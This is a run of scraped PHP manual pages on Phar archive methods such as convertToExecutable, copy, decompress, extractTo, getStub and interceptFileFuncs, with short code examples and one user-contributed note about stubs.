If successful, the method creates a new archive on disk and returns a PharData object. The old archive is not removed from disk, and should be done manually after the process has finished.

Parameters

format

This should be one of Phar::TAR or Phar::ZIP. If set to NULL, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that .phar cannot be used anywhere in the filename for a non-executable tar or zip archive.

If converting to a tar-based phar archive, the default extensions are .tar, .tar.gz, and .tar.bz2 depending on specified compression. For zip-based archives, the default extension is .zip.

Return Values

The method returns a PharData object on success and throws an exception on failure.

Errors/Exceptions

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), and a PharException if any problems are encountered during the phar creation process.

Examples

Example #1 A Phar::convertToData() example

Using Phar::convertToData():

<?php
try {
    $tarphar = new Phar('myphar.phar.tar');
    // note that myphar.phar.tar is *not* unlinked
    // convert it to the non-executable tar file format
    // creates myphar.tar
    $tar = $tarphar->convertToData();
    // convert to non-executable zip format, creates myphar.zip
    $zip = $tarphar->convertToData(Phar::ZIP);
    // create myphar.tbz
    $tgz = $tarphar->convertToData(Phar::TAR, Phar::BZ2, '.tbz');
    // creates myphar.phar.tgz
    $phar = $tarphar->convertToData(Phar::PHAR); // throws exception
} catch (Exception $e) {
    // handle the error here
}
?>

See Also

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • PharData::convertToExecutable() - Convert a non-executable tar/zip archive to an executable phar archive
  • PharData::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.
Phar::__construct
Phar::convertToExecutable
Phar


Convert a phar archive to another executable phar archive file format

Phar::convertToData
Phar::copy
Phar
PHP Manual

Phar::convertToExecutable

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::convertToExecutable — Convert a phar archive to another executable phar archive file format

Description

Phar Phar::convertToExecutable ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method is used to convert a phar archive to another file format. For instance, it can be used to create a tar-based executable phar archive from a zip-based executable phar archive, or from an executable phar archive in the phar file format. In addition, it can be used to apply whole-archive compression to a tar or phar-based archive.

If no changes are specified, this method throws a BadMethodCallException.

If successful, the method creates a new archive on disk and returns a Phar object. The old archive is not removed from disk, and should be done manually after the process has finished.

Parameters

format

This should be one of Phar::PHAR, Phar::TAR, or Phar::ZIP. If set to NULL, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that all zip- and tar-based phar archives must contain .phar in their file extension in order to be processed as a phar archive.

If converting to a phar-based archive, the default extensions are .phar, .phar.gz, or .phar.bz2 depending on the specified compression. For tar-based phar archives, the default extensions are .phar.tar, .phar.tar.gz, and .phar.tar.bz2. For zip-based phar archives, the default extension is .phar.zip.

Return Values

The method returns a Phar object on success and throws an exception on failure.

Errors/Exceptions

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), an UnexpectedValueException if write support is disabled, and a PharException if any problems are encountered during the phar creation process.

Examples

Example #1 A Phar::convertToExecutable() example

Using Phar::convertToExecutable():

<?php
try {
    $tarphar = new Phar('myphar.phar.tar');
    // convert it to the phar file format
    // note that myphar.phar.tar is *not* unlinked
    $phar = $tarphar->convertToExecutable(Phar::PHAR); // creates myphar.phar
    $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
    // creates myphar.phar.tgz
    $compressed = $phar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {
    // handle the error here
}
?>

See Also

  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToExecutable() - Convert a non-executable tar/zip archive to an executable phar archive
  • PharData::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

alex at phpguide dot co dot il 30-Apr-2011 12:52
Convert to executable and compress methods override any stub you have created with their own stub which is responsible for extracting/executing self's content.

calling setStub() after convertingToExecutable doesn't help either. As far of php 5.3.6 (phar     2.0.1 ) if you want to have a phar archive accessible threw the web, you'll have to create your own
index.php which will include a nonexecutable phar and act as the bootstrap.
Phar::convertToData
Phar::copy
Phar


Copy a file internal to the phar archive to another new file within the phar

Phar::convertToExecutable
Phar::count
Phar
PHP Manual

Phar::copy

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::copy — Copy a file internal to the phar archive to another new file within the phar

Description

bool Phar::copy ( string $oldfile , string $newfile )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Copy a file internal to the phar archive to another new file within the phar. This is an object-oriented alternative to using copy() with the phar stream wrapper.

Parameters

oldfile

newfile

Return Values

returns TRUE on success, but it is safer to encase method call in a try/catch block and assume success if no exception is thrown.

Errors/Exceptions

throws UnexpectedValueException if the source file does not exist, the destination file already exists, write access is disabled, opening either file fails, reading the source file fails, or a PharException if writing the changes to the phar fails.

Examples

Example #1 A Phar::copy() example

This example shows using Phar::copy() and the equivalent stream wrapper performance of the same thing. The primary difference between the two approaches is error handling. All Phar methods throw exceptions, whereas the stream wrapper uses trigger_error().

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar['a'] = 'hi';
    $phar->copy('a', 'b');
    echo $phar['b']; // outputs "hi"
} catch (Exception $e) {
    // handle error
}

// the stream wrapper equivalent of the above code.
// E_WARNINGS are triggered on error rather than exceptions.
copy('phar://myphar.phar/a', 'phar//myphar.phar/c');
echo file_get_contents('phar://myphar.phar/c'); // outputs "hi"
?>

User Contributed Notes

There are no user contributed notes for this page.
Phar::convertToExecutable
Phar::count
Phar


Returns the number of entries (files) in the Phar archive

Phar::copy
Phar::createDefaultStub
Phar
PHP Manual

Phar::count

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::count — Returns the number of entries (files) in the Phar archive

Description

int Phar::count ( void )

Parameters

Return Values

The number of files contained within this phar, or 0 (the number zero) if none.

Examples

Example #1 A Phar::count() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
    echo 'Could not create phar:', $e;
}
echo 'The new phar has ' . $p->count() . " entries\n";
$p['file.txt'] = 'hi';
echo 'The new phar has ' . $p->count() . " entries\n";
?>

The above example will output:

The new phar has 0 entries
The new phar has 1 entries

User Contributed Notes

There are no user contributed notes for this page.
Phar::copy
Phar::createDefaultStub
Phar


Create a phar-file format specific stub

Phar::count
Phar::decompress
Phar
PHP Manual

Phar::createDefaultStub

(Unknown)

Phar::createDefaultStub — Create a phar-file format specific stub

Description

string Phar::createDefaultStub ([ string $indexfile [, string $webindexfile ]] )

This method is intended for creation of phar-file format-specific stubs, and is not intended for use with tar- or zip-based phar archives.

Phar archives contain a bootstrap loader, or stub written in PHP that is executed when the archive is executed in PHP either via include:

<?php
include 'myphar.phar';
?>
or by simple execution:
php myphar.phar

This method provides a simple and easy method to create a stub that will run a startup file from the phar archive. In addition, different files can be specified for running the phar archive from the command line versus through a web server. The loader stub also calls Phar::interceptFileFuncs() to allow easy bundling of a PHP application that accesses the file system. If the phar extension is not present, the loader stub will extract the phar archive to a temporary directory and then operate on the files. A shutdown function erases the temporary files on exit.

Return Values

Returns a string containing the contents of a customized bootstrap loader (stub) that allows the created Phar archive to work with or without the Phar extension enabled.

Errors/Exceptions

Throws UnexpectedValueException if either parameter is longer than 400 bytes.

Examples

Example #1 A Phar::createDefaultStub() example

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::getStub() - Return the PHP loader or bootstrap stub of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::count
Phar::decompress
Phar


Decompresses the entire Phar archive

Phar::createDefaultStub
Phar::decompressFiles
Phar
PHP Manual

Phar::decompress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::decompress — Decompresses the entire Phar archive

Description

object Phar::decompress ([ string $extension ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based and phar-based phar archives, this method decompresses the entire archive.

For Zip-based phar archives, this method fails with an exception. The zlib extension must be enabled to decompress an archive compressed with gzip compression, and the bzip2 extension must be enabled in order to decompress an archive compressed with bzip2 compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

In addition, this method automatically changes the file extension of the archive, .phar by default for phar archives, or .phar.tar for tar-based phar archives. Alternatively, a file extension may be specified with the second parameter.

Parameters

extension

For decompressing, the default file extensions are .phar and .phar.tar. Use this parameter to specify another file extension. Be aware that all executable phar archives must contain .phar in their filename.

Return Values

A Phar object is returned.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or the bzip2 extension is not enabled.

Examples

Example #1 A Phar::decompress() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar.gz');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p3 = $p2->decompress(); // creates /path/to/my.phar
?>

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::createDefaultStub
Phar::decompressFiles
Phar


Decompresses all files in the current Phar archive

Phar::decompress
Phar::delMetadata
Phar
PHP Manual

Phar::decompressFiles

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::decompressFiles — Decompresses all files in the current Phar archive

Description

bool Phar::decompressFiles ( void )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based phar archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use Phar::compress() to compress an entire tar-based phar archive.

For Zip-based and phar-based phar archives, this method decompresses all files in the Phar archive. The zlib or bzip2 extensions must be enabled to take advantage of this feature if any files are compressed using bzip2/zlib compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

Examples

Example #1 A Phar::decompressFiles() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->decompressFiles();
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

The above example will output:

string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::decompress
Phar::delMetadata
Phar


Deletes the global metadata of the phar

Phar::decompressFiles
Phar::delete
Phar
PHP Manual

Phar::delMetadata

(PHP >= 5.3.0, PECL phar >= 1.2.0)

Phar::delMetadata — Deletes the global metadata of the phar

Description

bool Phar::delMetadata ( void )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Deletes the global metadata of the phar

Parameters

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A Phar::delMetaData() example

<?php
try {
    $phar = new Phar('myphar.phar');
    var_dump($phar->getMetadata());
    $phar->setMetadata("hi there");
    var_dump($phar->getMetadata());
    $phar->delMetadata();
    var_dump($phar->getMetadata());
} catch (Exception $e) {
    // handle errors
}
?>

The above example will output:

NULL
string(8) "hi there"
NULL

See Also

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.
Phar::decompressFiles
Phar::delete
Phar


Delete a file within a phar archive

Phar::delMetadata
Phar::extractTo
Phar
PHP Manual

Phar::delete

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::delete — Delete a file within a phar archive

Description

bool Phar::delete ( string $entry )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Delete a file within an archive. This is the functional equivalent of calling unlink() on the stream wrapper equivalent, as shown in the example below.

Parameters

entry

Path within an archive to the file to delete.

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A Phar::delete() example

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->delete('unlink/me.php');
    // this is equivalent to:
    unlink('phar://myphar.phar/unlink/me.php');
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • PharData::delete() - Delete a file within a tar/zip archive
  • Phar::unlinkArchive() - Completely remove a phar archive from disk and from memory

User Contributed Notes

There are no user contributed notes for this page.
Phar::delMetadata
Phar::extractTo
Phar


Extract the contents of a phar archive to a directory

Phar::delete
Phar::getMetadata
Phar
PHP Manual

Phar::extractTo

(Unknown)

Phar::extractTo — Extract the contents of a phar archive to a directory

Description

bool Phar::extractTo ( string $pathto [, string|array $files [, bool $overwrite = false ]] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Extract all files within a phar archive to disk. Extracted files and directories preserve permissions as stored in the archive. The optional parameters allow optional control over which files are extracted, and whether existing files on disk can be overwritten. The second parameter files can be either the name of a file or directory to extract, or an array of names of files and directories to extract. By default, this method will not overwrite existing files, the third parameter can be set to true to enable overwriting of files. This method is similar to ZipArchive::extractTo().

Parameters

pathto

Path within an archive to the file to delete.

files

The name of a file or directory to extract, or an array of files/directories to extract

overwrite

Set to TRUE to enable overwriting existing files

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A Phar::extractTo() example

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->extractTo('/full/path'); // extract all files
    $phar->extractTo('/another/path', 'file.txt'); // extract only file.txt
    $phar->extractTo('/this/path',
        array('file1.txt', 'file2.txt')); // extract 2 files only
    $phar->extractTo('/third/path', null, true); // extract all files, and overwrite
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • PharData::extractTo() - Extract the contents of a tar/zip archive to a directory

User Contributed Notes

There are no user contributed notes for this page.
Phar::delete
Phar::getMetadata
Phar


Returns phar archive meta-data

Phar::extractTo
Phar::getModified
Phar
PHP Manual

Phar::getMetadata

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::getMetadata — Returns phar archive meta-data

Description

mixed Phar::getMetadata ( void )

Retrieve archive meta-data. Meta-data can be any PHP variable that can be serialized.

Parameters

No parameters.

Return Values

any PHP variable that can be serialized and is stored as meta-data for the Phar archive, or NULL if no meta-data is stored.

Examples

Example #1 A Phar::getMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.php'] = '<?php echo "hello";';
    $p->setMetadata(array('bootstrap' => 'file.php'));
    var_dump($p->getMetadata());
} catch (Exception $e) {
    echo 'Could not modify phar:', $e;
}
?>

The above example will output:

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

See Also

  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.
Phar::extractTo
Phar::getModified
Phar


Return whether phar was modified

Phar::getMetadata
Phar::getSignature
Phar
PHP Manual

Phar::getModified

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::getModified — Return whether phar was modified

Description

bool Phar::getModified ( void )

This method can be used to determine whether a phar has either had an internal file deleted, or contents of a file changed in some way.

Parameters

No parameters.

Return Values

TRUE if the phar has been modified since opened, FALSE if not.

User Contributed Notes

There are no user contributed notes for this page.
Phar::getMetadata
Phar::getSignature
Phar


Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

Phar::getModified
Phar::getStub
Phar
PHP Manual

Phar::getSignature

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::getSignature — Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

Description

array Phar::getSignature ( void )

Returns the verification signature of a phar archive in a hexadecimal string.

Parameters

Return Values

Array with the opened archive's signature in hash key and MD5, SHA-1, SHA-256, SHA-512, or OpenSSL in hash_type. This signature is a hash calculated on the entire phar's contents, and may be used to verify the integrity of the archive. A valid signature is absolutely required of all executable phar archives if the phar.require_hash INI variable is set to true.

User Contributed Notes

There are no user contributed notes for this page.
Phar::getModified
Phar::getStub
Phar


Return the PHP loader or bootstrap stub of a Phar archive

Phar::getSignature
Phar::getSupportedCompression
Phar
PHP Manual

Phar::getStub

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::getStub — Return the PHP loader or bootstrap stub of a Phar archive

Description

string Phar::getStub ( void )

Phar archives contain a bootstrap loader, or stub written in PHP that is executed when the archive is executed in PHP either via include:

<?php
include 'myphar.phar';
?>
or by simple execution:
php myphar.phar

Return Values

Returns a string containing the contents of the bootstrap loader (stub) of the current Phar archive.

Errors/Exceptions

Throws RuntimeException if it is not possible to read the stub from the Phar archive.

Examples

Example #1 A Phar::getStub() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
echo $p->getStub();
echo "==NEXT==\n";
$p->setStub("<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER(); ?>");
echo $p->getStub();
?>

The above example will output:

<?php __HALT_COMPILER(); ?>
==NEXT==
<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER(); ?>

See Also

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::createDefaultStub() - Create a phar-file format specific stub

User Contributed Notes

There are no user contributed notes for this page.
Phar::getSignature
Phar::getSupportedCompression
Phar


Return array of supported compression algorithms

Phar::getStub
Phar::getSupportedSignatures
Phar
PHP Manual

Phar::getSupportedCompression

(PHP >= 5.3.0, PECL phar >= 1.2.0)

Phar::getSupportedCompression — Return array of supported compression algorithms

Description

array Phar::getSupportedCompression ( void )

Parameters

No parameters.

Return Values

Returns an array containing any of Phar::GZ or Phar::BZ2, depending on the availability of the zlib extension or the bz2 extension.

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::getStub
Phar::getSupportedSignatures
Phar


Return array of supported signature types

Phar::getSupportedCompression
Phar::getVersion
Phar
PHP Manual

Phar::getSupportedSignatures

(PHP >= 5.3.0, PECL phar >= 1.1.0)

Phar::getSupportedSignatures — Return array of supported signature types

Description

array Phar::getSupportedSignatures ( void )

Return array of supported signature types

Parameters

No parameters.

Return Values

Returns an array containing any of MD5, SHA-1, SHA-256, SHA-512, or OpenSSL.

See Also

  • Phar::getSignature() - Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive
  • Phar::setSignatureAlgorithm() - set the signature algorithm for a phar and apply it. The

User Contributed Notes

There are no user contributed notes for this page.
Phar::getSupportedCompression
Phar::getVersion
Phar


Return version info of Phar archive

Phar::getSupportedSignatures
Phar::hasMetadata
Phar
PHP Manual

Phar::getVersion

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::getVersion — Return version info of Phar archive

Description

string Phar::getVersion ( void )

Returns the API version of an opened Phar archive.

Parameters

Return Values

The opened archive's API version. This is not to be confused with the API version that the loaded phar extension will use to create new phars. Each Phar archive has the API version hard-coded into its manifest. See Phar file format documentation for more information.

See Also

  • Phar::apiVersion() - Returns the api version

User Contributed Notes

There are no user contributed notes for this page.
Phar::getSupportedSignatures
Phar::hasMetadata
Phar


Returns whether phar has global meta-data

Phar::getVersion
Phar::interceptFileFuncs
Phar
PHP Manual

Phar::hasMetadata

(PHP >= 5.3.0, PECL phar >= 1.2.0)

Phar::hasMetadata — Returns whether phar has global meta-data

Description

bool Phar::hasMetadata ( void )

Returns whether phar has global meta-data set.

Parameters

No parameters.

Return Values

Returns TRUE if meta-data has been set, and FALSE if not.

Examples

Example #1 A Phar::hasMetadata() example

<?php
try {
    $phar = new Phar('myphar.phar');
    var_dump($phar->hasMetadata());
    $phar->setMetadata(array('thing' => 'hi'));
    var_dump($phar->hasMetadata());
    $phar->delMetadata();
    var_dump($phar->hasMetadata());
} catch (Exception $e) {
    // handle error
}
?>

The above example will output:

bool(false)
bool(true)
bool(false)

See Also

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar

User Contributed Notes

There are no user contributed notes for this page.
Phar::getVersion
Phar::interceptFileFuncs
Phar


instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

Phar::hasMetadata
Phar::isBuffering
Phar
PHP Manual

Phar::interceptFileFuncs

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::interceptFileFuncs — instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

Description

void Phar::interceptFileFuncs ( void )

instructs phar to intercept fopen(), readfile(), file_get_contents(), opendir(), and all of the stat-related functions. If any of these functions is called from within a phar archive with a relative path, the call is modified to access a file within the phar archive. Absolute paths are assumed to be attempts to load external files from the filesystem.

This function makes it possible to run PHP applications designed to run off of a hard disk as a phar application.

Parameters

No parameters.

Return Values

Examples

Example #1 A Phar::interceptFileFuncs() example

<?php
Phar::interceptFileFuncs();
include 'phar://' . __FILE__ . '/file.php';
?>

Assuming that this phar is at /path/to/myphar.phar and it contains file.php and file2.txt, if file.php contains this code:

Example #2 A Phar::interceptFileFuncs() example

<?php
echo file_get_contents('file2.txt');
?>

Normally PHP would search the current directory for file2.txt, which would translate as the directory of file.php, or the current directory of a command-line user. Phar::interceptFileFuncs() instructs PHP to consider the current directory to be phar:///path/to/myphar.phar/ and so opens phar:///path/to/myphar.phar/file2.txt in the above example code.

User Contributed Notes

There are no user contributed notes for this page.
Phar::hasMetadata
Phar::isBuffering
Phar


Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

Phar::interceptFileFuncs
Phar::isCompressed
Phar
PHP Manual

Phar::isBuffering

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::isBuffering — Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

Description

bool Phar::isBuffering ( void )

This method can be used to determine whether a Phar will save changes to disk immediately, or whether a call to Phar::stopBuffering() is needed to enable saving changes.

Phar write buffering is per-archive, buffering active for the foo.phar Phar archive does not affect changes to the bar.phar Phar archive.

Return Values

Returns TRUE if the write operations are being buffer, FALSE otherwise.

Examples

Example #1 A Phar::isBuffering() example

<?php
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p2 = new Phar('existingphar.phar');
$p['file1.txt'] = 'hi';
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
?>
=2=
<?php
$p->startBuffering();
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
$p->stopBuffering();
?>
=3=
<?php
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
?>

The above example will output:

bool(false)
bool(false)
=2=
bool(true)
bool(false)
=3=
bool(false)
bool(false)

See Also

  • Phar::startBuffering() - Start buffering Phar write operations, do not modify the Phar object on disk
  • Phar::stopBuffering() - Stop buffering write requests to the Phar archive, and save changes to disk

User Contributed Notes

There are no user contributed notes for this page.
Phar::interceptFileFuncs
Phar::isCompressed
Phar


Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)

Phar::isBuffering
Phar::isFileFormat
Phar
PHP Manual

Phar::isCompressed

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::isCompressed — Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)

Description

mixed Phar::isCompressed ( void )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on). Zip-based phar archives cannot be compressed as a file, and so this method will always return FALSE if a zip-based phar archive is queried.

Parameters

No parameters.

Return Values

Phar::GZ, Phar::BZ2 or FALSE

Examples

Example #1 A Phar::isCompressed() example

<?php
try {
    $phar1 = new Phar('myphar.zip.phar');
    var_dump($phar1->isCompressed());
    $phar2 = new Phar('myuncompressed.tar.phar');
    var_dump($phar2->isCompressed());
    $phar2->compressAllFilesGZ();
    var_dump($phar2->isCompressed() == Phar::GZ);
} catch (Exception $e) {
}
?>

The above example will output:

bool(false)
bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.
Phar::isBuffering
Phar::isFileFormat
Phar


Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter

Phar::isCompressed
Phar::isValidPharFilename
Phar
PHP Manual

Phar::isFileFormat

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::isFileFormat — Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter

Description

bool Phar::isFileFormat ( int $format )

Parameters

format

Either Phar::PHAR, Phar::TAR, or Phar::ZIP to test for the format of the archive.

Return Values

Returns TRUE if the phar archive matches the file format requested by the parameter

Errors/Exceptions

PharException is thrown if the parameter is an unknown file format specifier.

See Also

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.
Phar::isCompressed
Phar::isValidPharFilename
Phar


Returns whether the given filename is a valid phar filename

Phar::isFileFormat
Phar::isWritable
Phar
PHP Manual

Phar::isValidPharFilename

